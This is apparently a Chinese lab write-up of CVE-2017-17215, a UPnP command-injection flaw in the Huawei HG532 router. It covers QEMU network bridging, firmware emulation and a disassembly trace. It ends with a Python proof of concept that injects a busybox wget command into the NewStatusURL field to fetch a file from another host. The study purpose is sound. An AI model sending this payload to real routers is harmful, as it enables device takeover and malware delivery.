CVE-2017-17215 华为路由器漏洞分析
-
环境搭建
固件链接:https://ia601506.us.archive.org/22/items/RouterHG532e/router HG532e.rar
qemu 配置:
采用 TAP 模式(linux 内核自带的虚拟化网络设备),简单来说就是在两张网卡(虚拟机网卡 ens33,可以上网)和 qemu 中的网卡之间搭一个网桥(br0),使得 qemu 和 虚拟机共享网络。
所需软件:
apt-get install bridge-utils # 虚拟网桥工具 apt-get install uml-utilities # UML(User-mode linux)工具
注意事项:
之前按照网上其他的配置方法改了 /etc/network/interfaces 但失败,之后采用这种方法也失败,回滚之后成功。
操作流程:
sudo ifconfig ens33 down # 首先关闭宿主机网卡接口 sudo brctl addbr br0 # 添加名为 br0 的网桥 sudo brctl addif br0 ens33 # 在 br0 中添加一个接口 sudo brctl stp br0 off # 如果只有一个网桥,则关闭生成树协议 sudo brctl setfd br0 1 # 设置 br0 的转发延迟 sudo brctl sethello br0 1 # 设置 br0 的 hello 时间 sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口 sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口 sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址 sudo brctl show br0 # 查看虚拟网桥列表 sudo brctl showstp br0 # 查看 br0 的各接口信息
添加 TAP 设备,连接于 qemu 的网卡
sudo tunctl -t tap0 -u root # 创建一个 tap0 接口,只允许 root 用户访问 sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口 sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口 sudo brctl showstp br0 # 显示 br0 的各个接口
run:(root/root)
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no
把固件解压之后,用 scp 传到 qemu 中
scp -r ./squashfs-root/ root@192.168.174.132:/root
更换目录到文件系统:
chroot /root/squashfs-root /bin/sh
-
漏洞分析
漏洞出现在 Upnp 服务中,从文件系统中找到拖 IDA 中,找一下漏洞触发点 NewStatusURL,x 看一下交叉引用 ,最终确定:
在 ATP_XML_GetChildNodeByName 函数中,程序首先进行 SOAP XML 解析,提取出 NewDownloadURL 和 NewStatusURL 的值,然后在 sprintf 中把 a0 拼接到字符串中,最终用 system 执行。
相当于:
snprintf($s0, 0x400, 'upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -', NewDownloadURL, NewStatusURL) system($s0)
只需要将命令放到 <NewStatusURL> 节点中即可,注意闭合。
poc.py(复现失败):
在启动 mic 服务的时候会有一个奇怪的登录,之后懂了再来填吧。
#Filename: exp.py #Data: 2019-04-14: #Author: raycp #Description: exp for CVE-2017-17125 import requests headers = { "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669" } data = '''<?xml version="1.0" ?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"> <NewStatusURL>;/bin/busybox wget -g 192.168.174.131 -l /tmp/1 -r /1;</NewStatusURL> <NewDownloadURL>HUAWEIUPNP</NewDownloadURL> </u:Upgrade> </s:Body> </s:Envelope> ''' requests.post('http://192.168.174.132:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
-
参考文献